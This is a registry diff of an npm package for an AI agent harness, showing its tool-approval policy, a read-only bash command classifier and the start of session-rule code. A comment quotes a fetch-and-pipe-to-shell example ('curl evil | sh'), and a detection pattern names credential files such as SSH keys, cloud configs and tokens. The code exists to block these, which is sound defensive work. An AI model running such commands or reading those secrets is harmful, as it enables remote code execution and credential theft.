@hexdecimal16/nexo 0.0.0-stage → 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (209) hide show
  1. package/LICENSE +75 -0
  2. package/README.md +75 -2
  3. package/cli/src/bin.js +12 -0
  4. package/cli/src/common.js +78 -0
  5. package/cli/src/doctor.js +27 -0
  6. package/cli/src/eval-cases.js +65 -0
  7. package/cli/src/eval.js +67 -0
  8. package/cli/src/init.js +186 -0
  9. package/cli/src/interactive.js +171 -0
  10. package/cli/src/learn.js +178 -0
  11. package/cli/src/main.js +266 -0
  12. package/cli/src/optimize.js +289 -0
  13. package/cli/src/prompter.js +47 -0
  14. package/cli/src/review.js +120 -0
  15. package/cli/src/runtime.js +2 -0
  16. package/cli/src/sessions.js +34 -0
  17. package/cli/src/settings.js +169 -0
  18. package/cli/src/ui.js +112 -0
  19. package/cli/src/version.js +19 -0
  20. package/core/src/approval/classifier.js +152 -0
  21. package/core/src/config/load.js +283 -0
  22. package/core/src/config/schema.js +186 -0
  23. package/core/src/cost/admission.js +90 -0
  24. package/core/src/cost/budget.js +67 -0
  25. package/core/src/cost/pricing.js +53 -0
  26. package/core/src/engine/charged-completion.js +79 -0
  27. package/core/src/engine/errors.js +77 -0
  28. package/core/src/engine/mcp.js +11 -0
  29. package/core/src/engine/messages.js +86 -0
  30. package/core/src/engine/prompts.js +32 -0
  31. package/core/src/engine/provider-gate.js +33 -0
  32. package/core/src/engine/recorder.js +61 -0
  33. package/core/src/engine/run.js +1115 -0
  34. package/core/src/engine/semaphore.js +45 -0
  35. package/core/src/engine/spawn-tool.js +119 -0
  36. package/core/src/engine/task-graph.js +153 -0
  37. package/core/src/index.js +32 -0
  38. package/core/src/learn/caller.js +171 -0
  39. package/core/src/learn/context.js +112 -0
  40. package/core/src/learn/embedder.js +216 -0
  41. package/core/src/learn/job.js +196 -0
  42. package/core/src/learn/wiki.js +116 -0
  43. package/core/src/learn/worker.js +141 -0
  44. package/core/src/optimize/adapter.js +250 -0
  45. package/core/src/optimize/climb.js +338 -0
  46. package/core/src/optimize/mine.js +95 -0
  47. package/core/src/optimize/optimize.js +377 -0
  48. package/core/src/optimize/optimizer-run.js +67 -0
  49. package/core/src/optimize/reflect.js +100 -0
  50. package/core/src/optimize/scratchpad-wiki.js +69 -0
  51. package/core/src/providers/claude-p.js +363 -0
  52. package/core/src/providers/kiro-p.js +408 -0
  53. package/core/src/providers/models.js +10 -0
  54. package/core/src/scoring/calibration.js +31 -0
  55. package/core/src/scoring/continuation.js +24 -0
  56. package/core/src/scoring/runner.js +322 -0
  57. package/core/src/scoring/sources.js +88 -0
  58. package/core/src/session/lock.js +88 -0
  59. package/core/src/session/session.js +647 -0
  60. package/core/src/session/shell.js +26 -0
  61. package/core/src/session/transcript.js +86 -0
  62. package/core/src/settings/config-edit.js +472 -0
  63. package/core/src/settings/credentials.js +120 -0
  64. package/core/src/settings/doctor.js +103 -0
  65. package/core/src/settings/settings.js +265 -0
  66. package/mcp/src/hub.js +184 -0
  67. package/mcp/src/index.js +1 -0
  68. package/memory/src/curate.js +121 -0
  69. package/memory/src/index.js +4 -0
  70. package/memory/src/prompts.js +143 -0
  71. package/memory/src/retrieval.js +91 -0
  72. package/memory/src/similarity.js +47 -0
  73. package/optimize/src/engine.js +206 -0
  74. package/optimize/src/index.js +8 -0
  75. package/optimize/src/merge.js +73 -0
  76. package/optimize/src/novelty.js +37 -0
  77. package/optimize/src/pareto.js +83 -0
  78. package/optimize/src/proposer.js +148 -0
  79. package/optimize/src/report.js +107 -0
  80. package/optimize/src/rng.js +34 -0
  81. package/optimize/src/target.js +34 -0
  82. package/package.json +47 -4
  83. package/router/src/effort.js +5 -0
  84. package/router/src/escalation.js +171 -0
  85. package/router/src/index.js +4 -0
  86. package/router/src/registry.js +21 -0
  87. package/router/src/resolve.js +117 -0
  88. package/scorers/src/deterministic.js +194 -0
  89. package/scorers/src/family.js +48 -0
  90. package/scorers/src/index.js +6 -0
  91. package/scorers/src/judge.js +284 -0
  92. package/scorers/src/regex-worker.js +3 -0
  93. package/scorers/src/spec.js +147 -0
  94. package/scorers/src/trajectory.js +22 -0
  95. package/scorers/src/types.js +1 -0
  96. package/sdk/src/index.js +3 -0
  97. package/sdk/src/nexo.js +94 -0
  98. package/sdk/src/runtime.js +39 -0
  99. package/skills/bundled/browser/SKILL.md +57 -0
  100. package/skills/bundled/wiki/SKILL.md +73 -0
  101. package/skills/src/frontmatter.js +25 -0
  102. package/skills/src/index.js +3 -0
  103. package/skills/src/load-skill-tool.js +41 -0
  104. package/skills/src/loader.js +95 -0
  105. package/store/src/artifacts.js +124 -0
  106. package/store/src/budget-ledger.js +18 -0
  107. package/store/src/cost-report.js +46 -0
  108. package/store/src/cursor.js +35 -0
  109. package/store/src/db.js +83 -0
  110. package/store/src/errors.js +9 -0
  111. package/store/src/eval-cases.js +255 -0
  112. package/store/src/feedback.js +154 -0
  113. package/store/src/goldens.js +61 -0
  114. package/store/src/ids.js +6 -0
  115. package/store/src/index.js +25 -0
  116. package/store/src/judge-calibration.js +182 -0
  117. package/store/src/learn-jobs.js +145 -0
  118. package/store/src/memories.js +261 -0
  119. package/store/src/migrations/001_init.sql +81 -0
  120. package/store/src/migrations/002_feedback.sql +9 -0
  121. package/store/src/migrations/003_sessions.sql +19 -0
  122. package/store/src/migrations/004_scoring.sql +22 -0
  123. package/store/src/migrations/005_judge_calibration.sql +27 -0
  124. package/store/src/migrations/006_learning.sql +77 -0
  125. package/store/src/migrations/007_optimize.sql +55 -0
  126. package/store/src/migrations/008_mined_cases_and_climb.sql +46 -0
  127. package/store/src/mine.js +51 -0
  128. package/store/src/optim.js +291 -0
  129. package/store/src/paths.js +22 -0
  130. package/store/src/playbooks.js +199 -0
  131. package/store/src/reindex.js +143 -0
  132. package/store/src/run-dir.js +151 -0
  133. package/store/src/runs.js +310 -0
  134. package/store/src/scores.js +92 -0
  135. package/store/src/sessions.js +304 -0
  136. package/store/src/span-tree.js +98 -0
  137. package/store/src/spans.js +84 -0
  138. package/store/src/sql.js +13 -0
  139. package/store/src/workspace-copy.js +80 -0
  140. package/telemetry/src/errors.js +32 -0
  141. package/telemetry/src/index.js +3 -0
  142. package/telemetry/src/logger.js +39 -0
  143. package/telemetry/src/redact.js +106 -0
  144. package/tools/src/builtin.js +269 -0
  145. package/tools/src/change-tracker.js +57 -0
  146. package/tools/src/confine.js +101 -0
  147. package/tools/src/index.js +7 -0
  148. package/tools/src/leases.js +57 -0
  149. package/tools/src/policy.js +162 -0
  150. package/tools/src/read-only.js +338 -0
  151. package/tools/src/session-rules.js +140 -0
  152. package/tui/src/app.js +965 -0
  153. package/tui/src/approvals.js +96 -0
  154. package/tui/src/commands.js +38 -0
  155. package/tui/src/components.js +248 -0
  156. package/tui/src/index.js +5 -0
  157. package/tui/src/picker.js +78 -0
  158. package/tui/src/session-picker.js +100 -0
  159. package/tui/src/settings-screen.js +346 -0
  160. package/tui/src/text.js +70 -0
  161. package/tui/src/theme.js +44 -0
  162. package/web/public/cost.html +25 -0
  163. package/web/public/fonts/GeistMono-400.woff2 +0 -0
  164. package/web/public/fonts/GeistMono-600.woff2 +0 -0
  165. package/web/public/fonts/InstrumentSans-400.woff2 +0 -0
  166. package/web/public/fonts/InstrumentSans-600.woff2 +0 -0
  167. package/web/public/index.html +39 -0
  168. package/web/public/judge.html +21 -0
  169. package/web/public/learning.html +46 -0
  170. package/web/public/lib/api-types.ts +616 -0
  171. package/web/public/lib/common-view.ts +47 -0
  172. package/web/public/lib/cost-view.ts +35 -0
  173. package/web/public/lib/files-view.ts +90 -0
  174. package/web/public/lib/format.ts +35 -0
  175. package/web/public/lib/html.ts +51 -0
  176. package/web/public/lib/judge-view.ts +62 -0
  177. package/web/public/lib/learning-view.ts +102 -0
  178. package/web/public/lib/optim-view.ts +148 -0
  179. package/web/public/lib/pager.ts +56 -0
  180. package/web/public/lib/poller.ts +79 -0
  181. package/web/public/lib/run-view.ts +61 -0
  182. package/web/public/lib/runs-view.ts +87 -0
  183. package/web/public/lib/score-view.ts +94 -0
  184. package/web/public/lib/sessions-view.ts +28 -0
  185. package/web/public/lib/span-view.ts +90 -0
  186. package/web/public/lib/theme.ts +60 -0
  187. package/web/public/lib/timeline.ts +97 -0
  188. package/web/public/lib/wikis-view.ts +257 -0
  189. package/web/public/optim.html +30 -0
  190. package/web/public/pages/api.ts +60 -0
  191. package/web/public/pages/cost.ts +36 -0
  192. package/web/public/pages/judge.ts +15 -0
  193. package/web/public/pages/learning.ts +92 -0
  194. package/web/public/pages/optim.ts +68 -0
  195. package/web/public/pages/paging.ts +18 -0
  196. package/web/public/pages/run.ts +221 -0
  197. package/web/public/pages/runs.ts +91 -0
  198. package/web/public/pages/sessions.ts +25 -0
  199. package/web/public/pages/wikis.ts +103 -0
  200. package/web/public/run.html +36 -0
  201. package/web/public/sessions.html +28 -0
  202. package/web/public/style.css +288 -0
  203. package/web/public/wikis.html +25 -0
  204. package/web/src/api.js +682 -0
  205. package/web/src/http-errors.js +60 -0
  206. package/web/src/index.js +5 -0
  207. package/web/src/server.js +292 -0
  208. package/web/src/static.js +86 -0
  209. package/web/src/strip.js +22 -0
@@ -0,0 +1,162 @@
1
+ import { NexoError } from "../../telemetry/src/index.js";
2
+ import { isReadOnlyCommand } from "./read-only.js";
3
+ import { describeSessionRule, matchesSessionRule, sessionRuleFor } from "./session-rules.js";
4
+ export const nonInteractivePrompter = { interactive: false, approve: async () => "deny" };
5
+ /** The auto-allow reason for a bash command `isReadOnlyCommand` accepts; the approver is not called. */
6
+ export const READ_ONLY_REASON = "read-only command";
7
+ /** Shell metacharacters that chain or redirect commands; an allow rule never vouches for a command containing them. */
8
+ const SHELL_CHAINING = /[;&|`<>\n]|\$\(/;
9
+ /** A leading `cd <path> &&`: agents start most shell commands with it, and it only changes the directory. */
10
+ const CD_PREFIX = /^\s*cd\s+(?:"[^"\n$`\\]*"|'[^'\n]*'|[^\s;&|`<>$()\\"'\n]+)\s*&&\s*/;
11
+ /** The command without its leading `cd <path> &&`, or the command itself when it has none. */
12
+ export function stripCdPrefix(command) {
13
+ const match = CD_PREFIX.exec(command);
14
+ return match ? command.slice(match[0].length) : command;
15
+ }
16
+ /** Replaces control characters (newlines, ANSI escapes) so a subject cannot forge prompt text. */
17
+ function escapeControl(text) {
18
+ return text.replace(/[\u0000-\u001f\u007f]/g, (c) => `\\x${c.charCodeAt(0).toString(16).padStart(2, "0")}`);
19
+ }
20
+ const SUBJECT_KEY = { bash: "command", read: "path", write: "path", edit: "path", web_fetch: "url" };
21
+ function subjectOf(toolName, args) {
22
+ const key = SUBJECT_KEY[toolName];
23
+ if (key && typeof args === "object" && args !== null && typeof args[key] === "string") {
24
+ return args[key];
25
+ }
26
+ return JSON.stringify(args ?? null);
27
+ }
28
+ /** True when `pattern` names `toolName`: exactly, or as a prefix when it ends in `*` (`mcp__playwright__*`). */
29
+ export function toolPatternMatches(pattern, toolName) {
30
+ return pattern.endsWith("*") ? toolName.startsWith(pattern.slice(0, -1)) : pattern === toolName;
31
+ }
32
+ /** The policy for `toolName`: its exact key, else the longest matching `*` key, else undefined. */
33
+ function policyFor(policy, toolName) {
34
+ if (Object.hasOwn(policy, toolName))
35
+ return policy[toolName];
36
+ let best;
37
+ for (const key of Object.keys(policy)) {
38
+ if (key.endsWith("*") && toolPatternMatches(key, toolName) && (best === undefined || key.length > best.length))
39
+ best = key;
40
+ }
41
+ return best === undefined ? undefined : policy[best];
42
+ }
43
+ function stringField(args, key) {
44
+ const value = typeof args === "object" && args !== null ? args[key] : undefined;
45
+ return typeof value === "string" ? value : null;
46
+ }
47
+ export function createPolicy(cfg) {
48
+ const rules = cfg.rules.map((rule, index) => {
49
+ try {
50
+ return { ...rule, re: rule.match === undefined ? undefined : new RegExp(rule.match) };
51
+ }
52
+ catch (cause) {
53
+ throw new NexoError({
54
+ code: "CONFIG_INVALID",
55
+ message: `tools.rules[${index}].match is not a valid regex: ${rule.match}`,
56
+ context: { index },
57
+ cause,
58
+ });
59
+ }
60
+ });
61
+ /**
62
+ * Rules are tested in order against the tool's subject. Deny rules are best-effort regex matches, not a sandbox.
63
+ * For bash, allow rules are ignored when the command chains or redirects, so `ls; curl evil | sh` is not allowed by `^ls`.
64
+ */
65
+ const decide = (toolName, args) => {
66
+ const subject = subjectOf(toolName, args);
67
+ // Allow rules see a bash command without its leading `cd <path> &&`; deny and ask rules see it both ways.
68
+ const stripped = toolName === "bash" ? stripCdPrefix(subject) : subject;
69
+ for (let i = 0; i < rules.length; i++) {
70
+ const rule = rules[i];
71
+ if (!rule || !toolPatternMatches(rule.tool, toolName))
72
+ continue;
73
+ if (rule.action === "allow") {
74
+ if (rule.re && !rule.re.test(stripped))
75
+ continue;
76
+ if (toolName === "bash" && SHELL_CHAINING.test(stripped))
77
+ continue;
78
+ }
79
+ else if (rule.re && !rule.re.test(subject) && !rule.re.test(stripped))
80
+ continue;
81
+ return { action: rule.action, rule: i, subject };
82
+ }
83
+ return { action: policyFor(cfg.policy, toolName) ?? "ask", subject };
84
+ };
85
+ return {
86
+ decide,
87
+ async authorize(prompter, toolName, args, signal, label, options = {}) {
88
+ const decision = decide(toolName, args);
89
+ if (decision.action === "allow")
90
+ return { allowed: true, by: "config" };
91
+ const denied = (hit) => ({
92
+ allowed: false,
93
+ error: new NexoError({
94
+ code: "TOOL_DENIED",
95
+ message: `Tool "${toolName}" denied by policy${hit.rule === undefined ? "" : ` (rule #${hit.rule})`}: ${decision.subject}`,
96
+ hint: "Change tools.policy or tools.rules in your nexo config",
97
+ context: { toolName, rule: hit.rule },
98
+ }),
99
+ });
100
+ if (decision.action === "deny")
101
+ return denied(decision);
102
+ // A deny rule written for single spaces must also stop the same command with extra whitespace, which a session rule or the approver would otherwise wave through.
103
+ const command = stringField(args, "command");
104
+ if (toolName === "bash" && command !== null) {
105
+ const collapsed = decide(toolName, { command: command.trim().split(/\s+/).join(" ") });
106
+ if (collapsed.action === "deny")
107
+ return denied(collapsed);
108
+ }
109
+ const ruleMatches = () => (options.sessionRules?.() ?? []).some((rule) => matchesSessionRule(rule, toolName, args));
110
+ if (ruleMatches())
111
+ return { allowed: true, by: "session_rule" };
112
+ if (!prompter.interactive && cfg.nonInteractiveAsk === "allow")
113
+ return { allowed: true, by: "config" };
114
+ const aborted = () => ({
115
+ allowed: false,
116
+ error: new NexoError({ code: "TOOL_DENIED", message: `Approval of ${toolName} was interrupted: ${decision.subject}`, context: { toolName } }),
117
+ });
118
+ let note;
119
+ // A command that provably only reads needs no approver call (and costs nothing).
120
+ if (options.classify && toolName === "bash" && command !== null && isReadOnlyCommand(command)) {
121
+ return { allowed: true, by: "auto", reason: READ_ONLY_REASON };
122
+ }
123
+ if (options.classify) {
124
+ const verdict = await options.classify(toolName, args, signal);
125
+ if (signal?.aborted)
126
+ return aborted();
127
+ if (verdict.decision === "allow")
128
+ return { allowed: true, by: "auto", reason: verdict.reason };
129
+ note = `auto: ${escapeControl(verdict.reason)}`;
130
+ }
131
+ if (!prompter.interactive) {
132
+ return {
133
+ allowed: false,
134
+ error: new NexoError({
135
+ code: "TOOL_DENIED",
136
+ message: `Tool "${toolName}" requires approval but no interactive prompt is available: ${decision.subject}${note ? ` (${note})` : ""}`,
137
+ hint: 'Set tools.nonInteractiveAsk to "allow" or add an allow rule in tools.rules',
138
+ context: { toolName },
139
+ }),
140
+ };
141
+ }
142
+ const prefix = label ? `[${escapeControl(label)}] ` : "";
143
+ const always = options.addSessionRule ? sessionRuleFor(toolName, args) : null;
144
+ const answer = await prompter.approve({
145
+ question: `${prefix}Allow ${toolName}: ${escapeControl(decision.subject)}?`,
146
+ ...(note ? { note } : {}),
147
+ ...(always ? { alwaysLabel: `Always allow ${describeSessionRule(always)} this session` } : {}),
148
+ settled: ruleMatches,
149
+ }, signal);
150
+ if (answer === "always" && always)
151
+ options.addSessionRule?.(always);
152
+ if (answer === "always")
153
+ return { allowed: true, by: "user" };
154
+ if (answer === "once")
155
+ return { allowed: true, by: ruleMatches() ? "session_rule" : "user" };
156
+ return {
157
+ allowed: false,
158
+ error: new NexoError({ code: "TOOL_DENIED", message: `User declined ${toolName}: ${decision.subject}`, context: { toolName } }),
159
+ };
160
+ },
161
+ };
162
+ }
@@ -0,0 +1,338 @@
1
+ /**
2
+ * A conservative check that a bash command only reads, so auto mode can allow it without calling the approver.
3
+ * False means "not proven read-only", never "unsafe": such commands still go to the approver.
4
+ */
5
+ /** Splits a command into words, control operators and redirections; null when it uses anything this check does not model. */
6
+ function tokenize(command) {
7
+ const tokens = [];
8
+ let word = "";
9
+ let inWord = false;
10
+ const flush = () => {
11
+ if (inWord)
12
+ tokens.push({ type: "word", value: word });
13
+ word = "";
14
+ inWord = false;
15
+ };
16
+ let i = 0;
17
+ while (i < command.length) {
18
+ const c = command[i];
19
+ const next = command[i + 1];
20
+ if (c === "'") {
21
+ const end = command.indexOf("'", i + 1);
22
+ if (end < 0)
23
+ return null;
24
+ word += command.slice(i + 1, end);
25
+ inWord = true;
26
+ i = end + 1;
27
+ continue;
28
+ }
29
+ if (c === '"') {
30
+ i++;
31
+ for (;;) {
32
+ const d = command[i];
33
+ if (d === undefined)
34
+ return null;
35
+ if (d === '"')
36
+ break;
37
+ if (d === "`")
38
+ return null;
39
+ if (d === "$" && !(command[i + 1] === '"' || command[i + 1] === undefined || /\s/.test(command[i + 1])))
40
+ return null;
41
+ if (d === "\\" && command[i + 1] !== undefined && '$`"\\'.includes(command[i + 1])) {
42
+ word += command[i + 1];
43
+ i += 2;
44
+ continue;
45
+ }
46
+ word += d;
47
+ i++;
48
+ }
49
+ inWord = true;
50
+ i++;
51
+ continue;
52
+ }
53
+ if (c === "\\") {
54
+ if (next === undefined || next === "\n")
55
+ return null;
56
+ word += next;
57
+ inWord = true;
58
+ i += 2;
59
+ continue;
60
+ }
61
+ if (c === "`" || c === "(" || c === ")" || c === "\n" || c === "\r")
62
+ return null;
63
+ if (c === "$" && !(next === undefined || /\s/.test(next)))
64
+ return null;
65
+ if (c === " " || c === "\t") {
66
+ flush();
67
+ i++;
68
+ continue;
69
+ }
70
+ if (c === "&" && next === "&") {
71
+ flush();
72
+ tokens.push({ type: "op", value: "&&" });
73
+ i += 2;
74
+ continue;
75
+ }
76
+ if (c === "|") {
77
+ flush();
78
+ tokens.push({ type: "op", value: next === "|" ? "||" : "|" });
79
+ i += next === "|" ? 2 : 1;
80
+ continue;
81
+ }
82
+ if (c === ";") {
83
+ flush();
84
+ tokens.push({ type: "op", value: ";" });
85
+ i++;
86
+ continue;
87
+ }
88
+ if (c === ">" || c === "<" || (c === "&" && next === ">")) {
89
+ // A preceding all-digit word is the file descriptor (`2>`).
90
+ let op = "";
91
+ if (inWord && /^\d+$/.test(word)) {
92
+ op = word;
93
+ word = "";
94
+ inWord = false;
95
+ }
96
+ flush();
97
+ if (c === "&") {
98
+ op += "&";
99
+ i++;
100
+ }
101
+ op += command[i];
102
+ i++;
103
+ if (command[i] === ">") {
104
+ op += ">";
105
+ i++;
106
+ }
107
+ if (command[i] === "&") {
108
+ // `2>&1`: a descriptor duplication, no file.
109
+ const m = /^&\d+/.exec(command.slice(i));
110
+ if (!m)
111
+ return null;
112
+ tokens.push({ type: "redirect", value: `${op}${m[0]}` });
113
+ i += m[0].length;
114
+ continue;
115
+ }
116
+ while (command[i] === " " || command[i] === "\t")
117
+ i++;
118
+ const m = /^[^\s;&|<>()`$'"\\]+/.exec(command.slice(i));
119
+ if (!m)
120
+ return null;
121
+ tokens.push({ type: "redirect", value: `${op}${m[0]}` });
122
+ i += m[0].length;
123
+ continue;
124
+ }
125
+ if (c === "&")
126
+ return null; // background job
127
+ word += c;
128
+ inWord = true;
129
+ i++;
130
+ }
131
+ flush();
132
+ return tokens;
133
+ }
134
+ /** Only discarding output or merging stderr into stdout; never writing or reading a file. */
135
+ const SAFE_REDIRECT = /^(\d*>{1,2}\/dev\/null|&>{1,2}\/dev\/null|\d*>&\d)$/;
136
+ /** Arguments that point at secrets: reading them would send them to the model, so the approver decides. */
137
+ const SENSITIVE = /(^|[/~])\.(ssh|aws|gnupg|kube|docker|netrc|npmrc|pypirc|git-credentials|env|nexo)(\b|$)|id_(rsa|dsa|ecdsa|ed25519)|credential|secret|token|passw|\.pem$|\.key$|\.p12$|keychain/i;
138
+ /** Programs that only read or print whatever their arguments, unless one of their listed flags is present. */
139
+ const SIMPLE = {
140
+ cat: [],
141
+ head: [],
142
+ tail: [],
143
+ wc: [],
144
+ ls: [],
145
+ pwd: [],
146
+ echo: [],
147
+ printf: [],
148
+ which: [],
149
+ type: [],
150
+ stat: [],
151
+ du: [],
152
+ df: [],
153
+ diff: [],
154
+ cmp: [],
155
+ comm: [],
156
+ whoami: [],
157
+ id: [],
158
+ uname: [],
159
+ jq: [],
160
+ true: [],
161
+ false: [],
162
+ basename: [],
163
+ dirname: [],
164
+ realpath: [],
165
+ readlink: [],
166
+ cut: [],
167
+ tr: [],
168
+ nl: [],
169
+ rev: [],
170
+ column: [],
171
+ grep: [],
172
+ egrep: [],
173
+ fgrep: [],
174
+ test: [],
175
+ "[": [],
176
+ strings: [],
177
+ od: [],
178
+ md5: [],
179
+ md5sum: [],
180
+ shasum: [],
181
+ sha1sum: [],
182
+ sha256sum: [],
183
+ ps: [],
184
+ uptime: [],
185
+ cd: [],
186
+ file: ["-C"],
187
+ tree: ["-o"],
188
+ date: ["-s", "--set"],
189
+ rg: ["--pre"],
190
+ };
191
+ function hasFlag(args, flags) {
192
+ return args.some((a) => flags.some((f) => a === f || a.startsWith(`${f}=`) || (f.length === 2 && a.startsWith(f))));
193
+ }
194
+ const SED_ADDRESS = String.raw `(\d+|\$|/([^/\\]|\\.)*/)`;
195
+ const SED_COMMAND = String.raw `(${SED_ADDRESS}(,${SED_ADDRESS})?)?\s*([pdq=]|s/([^/\\]|\\.)*/([^/\\]|\\.)*/[gpiI0-9]*)`;
196
+ /** Printing, deleting from the output and substitutions without the `w` or `e` flags; no `w`, `r` or `e` commands. */
197
+ const SAFE_SED_SCRIPT = new RegExp(`^\\s*${SED_COMMAND}(\\s*;\\s*${SED_COMMAND})*\\s*;?\\s*$`);
198
+ function sedReadOnly(args) {
199
+ const scripts = [];
200
+ const operands = [];
201
+ for (let i = 0; i < args.length; i++) {
202
+ const a = args[i];
203
+ if (a === "-e" || a === "--expression") {
204
+ const s = args[++i];
205
+ if (s === undefined)
206
+ return false;
207
+ scripts.push(s);
208
+ }
209
+ else if (a === "-n" || a === "-E" || a === "-r" || a === "--quiet" || a === "--silent") {
210
+ // harmless
211
+ }
212
+ else if (a.startsWith("-")) {
213
+ return false; // -i (in place), -f (script file) and anything else
214
+ }
215
+ else
216
+ operands.push(a);
217
+ }
218
+ if (scripts.length === 0) {
219
+ const s = operands.shift();
220
+ if (s === undefined)
221
+ return false;
222
+ scripts.push(s);
223
+ }
224
+ return scripts.every((s) => SAFE_SED_SCRIPT.test(s));
225
+ }
226
+ const FIND_WRITES = new Set(["-exec", "-execdir", "-ok", "-okdir", "-delete", "-fprint", "-fprint0", "-fprintf", "-fls"]);
227
+ /** Git subcommands that only read; `branch`, `tag`, `remote`, `stash` and `reflog` only in their listing forms. */
228
+ const GIT_READ = new Set(["status", "log", "show", "diff", "blame", "grep", "ls-files", "ls-tree", "rev-parse", "describe", "shortlog", "cat-file", "rev-list", "merge-base", "show-ref"]);
229
+ const GIT_BRANCH_LIST_FLAGS = new Set(["-a", "-r", "-v", "-vv", "--all", "--remotes", "--verbose", "--show-current", "--list", "-l"]);
230
+ function gitReadOnly(args) {
231
+ let i = 0;
232
+ // Global options before the subcommand: only `-C <dir>` and `--no-pager` (never `-c`, which can set an alias or pager).
233
+ while (i < args.length && args[i].startsWith("-")) {
234
+ if (args[i] === "-C")
235
+ i += 2;
236
+ else if (args[i] === "--no-pager")
237
+ i++;
238
+ else
239
+ return false;
240
+ }
241
+ const sub = args[i];
242
+ const rest = args.slice(i + 1);
243
+ if (sub === undefined)
244
+ return false;
245
+ // `--output` writes a file and `-O` / `--open-files-in-pager` runs a program.
246
+ if (rest.some((a) => a.startsWith("--output") || a.startsWith("-O") || a.startsWith("--open-files-in-pager")))
247
+ return false;
248
+ if (GIT_READ.has(sub))
249
+ return true;
250
+ const positionals = rest.filter((a) => !a.startsWith("-"));
251
+ switch (sub) {
252
+ case "branch":
253
+ return rest.every((a) => !a.startsWith("-") || GIT_BRANCH_LIST_FLAGS.has(a)) && (positionals.length === 0 || rest.includes("--list") || rest.includes("-l"));
254
+ case "tag":
255
+ return rest.every((a) => !a.startsWith("-") || a === "-l" || a === "--list" || a === "-n") && (positionals.length === 0 || rest.includes("--list") || rest.includes("-l"));
256
+ case "remote":
257
+ return rest.length === 0 || (rest.length === 1 && rest[0] === "-v") || rest[0] === "show" || rest[0] === "get-url";
258
+ case "stash":
259
+ return rest[0] === "list" || rest[0] === "show";
260
+ case "reflog":
261
+ return rest.length === 0 || rest[0] === "show";
262
+ default:
263
+ return false;
264
+ }
265
+ }
266
+ /** `gh <object> <verb>` pairs that only read from GitHub. `gh api` and `gh auth` are never read-only here. */
267
+ const GH_READ = {
268
+ pr: ["view", "diff", "list", "checks", "status"],
269
+ issue: ["view", "list", "status"],
270
+ repo: ["view"],
271
+ run: ["view", "list"],
272
+ release: ["view", "list"],
273
+ workflow: ["view", "list"],
274
+ };
275
+ function ghReadOnly(args) {
276
+ const [object, verb] = args;
277
+ if (object === undefined || verb === undefined)
278
+ return false;
279
+ if (args.some((a) => a === "--web" || a === "-w"))
280
+ return false;
281
+ if (object === "search")
282
+ return true;
283
+ return GH_READ[object]?.includes(verb) ?? false;
284
+ }
285
+ function uniqReadOnly(args) {
286
+ // A second operand is an output file.
287
+ return args.filter((a) => !a.startsWith("-")).length <= 1;
288
+ }
289
+ function sortReadOnly(args) {
290
+ return !args.some((a) => a.startsWith("--output") || /^-[a-zA-Z]*o/.test(a) || a === "--compress-program" || a.startsWith("--compress-program="));
291
+ }
292
+ function findReadOnly(args) {
293
+ return !args.some((a) => FIND_WRITES.has(a));
294
+ }
295
+ const PROGRAMS = {
296
+ sed: sedReadOnly,
297
+ git: gitReadOnly,
298
+ gh: ghReadOnly,
299
+ uniq: uniqReadOnly,
300
+ sort: sortReadOnly,
301
+ find: findReadOnly,
302
+ };
303
+ function simpleCommandReadOnly(words) {
304
+ const [program, ...args] = words;
305
+ // A path (`./cat`) could be any program; an assignment (`GIT_PAGER=x git log`) changes what runs.
306
+ if (program === undefined || program.includes("/") || /^[A-Za-z_][A-Za-z0-9_]*=/.test(program))
307
+ return false;
308
+ const check = PROGRAMS[program];
309
+ if (check)
310
+ return check(args);
311
+ const denied = SIMPLE[program];
312
+ return denied !== undefined && !hasFlag(args, denied);
313
+ }
314
+ /**
315
+ * True when every command in `command` (joined by `&&`, `||`, `;` or `|`) is a known read-only program used in a
316
+ * read-only way, its only redirections discard output, and no argument names a credential file. Anything with command
317
+ * substitution, variable expansion, subshells, background jobs or unknown programs is false.
318
+ */
319
+ export function isReadOnlyCommand(command) {
320
+ const tokens = tokenize(command);
321
+ if (!tokens || tokens.length === 0)
322
+ return false;
323
+ const segments = [[]];
324
+ for (const token of tokens) {
325
+ if (token.type === "op")
326
+ segments.push([]);
327
+ else if (token.type === "redirect") {
328
+ if (!SAFE_REDIRECT.test(token.value))
329
+ return false;
330
+ }
331
+ else {
332
+ if (SENSITIVE.test(token.value))
333
+ return false;
334
+ segments[segments.length - 1].push(token.value);
335
+ }
336
+ }
337
+ return segments.every((words) => words.length > 0 && simpleCommandReadOnly(words));
338
+ }
@@ -0,0 +1,140 @@
1
+ /** Programs whose second word is a subcommand (`git status`), so the prefix includes it. */
2
+ const SUBCOMMAND_PROGRAMS = new Set(["git", "npm", "pnpm", "yarn", "npx", "docker", "kubectl", "cargo", "go", "pip", "uv", "gh", "make", "modal"]);
3
+ /** Subcommands that run an arbitrary target, so the prefix includes the target too (`pnpm exec vitest`). */
4
+ const RUNNERS = new Map([
5
+ ["npm", new Set(["run", "exec", "dlx", "x"])],
6
+ ["pnpm", new Set(["run", "exec", "dlx", "x"])],
7
+ ["yarn", new Set(["run", "exec", "dlx", "x"])],
8
+ ["uv", new Set(["run"])],
9
+ ["go", new Set(["run"])],
10
+ ["modal", new Set(["run", "deploy", "serve"])],
11
+ ]);
12
+ /** Subcommands that get a two-word rule. Any other subcommand of these programs gets none, since `yarn node` runs a bin directly. */
13
+ const PACKAGE_MANAGER_SUBCOMMANDS = new Set(["install", "ci", "add", "remove", "test", "build", "ls", "list", "outdated", "audit", "version", "view", "info", "why"]);
14
+ const ALLOWED_SUBCOMMANDS = new Map([
15
+ ["npm", PACKAGE_MANAGER_SUBCOMMANDS],
16
+ ["pnpm", PACKAGE_MANAGER_SUBCOMMANDS],
17
+ ["yarn", PACKAGE_MANAGER_SUBCOMMANDS],
18
+ ["uv", new Set(["sync", "add", "remove", "lock", "venv", "pip"])],
19
+ ]);
20
+ /** Subcommands that never get a pattern at all: `gh api`, and container or pod runs, whose trailing words are an arbitrary command. */
21
+ const BLOCKED_SUBCOMMANDS = new Map([
22
+ ["gh", new Set(["api"])],
23
+ ["docker", new Set(["run", "exec", "compose", "container"])],
24
+ ["kubectl", new Set(["exec", "run", "cp"])],
25
+ ]);
26
+ /** Programs that only read or print, so a bare name is a safe prefix (`cat`). Any other bare program gets no pattern. */
27
+ const SAFE_SINGLE = new Set(["ls", "cat", "pwd", "grep", "head", "tail", "wc", "echo", "which", "file", "stat", "du", "df", "diff", "date", "whoami", "uname", "jq", "true"]);
28
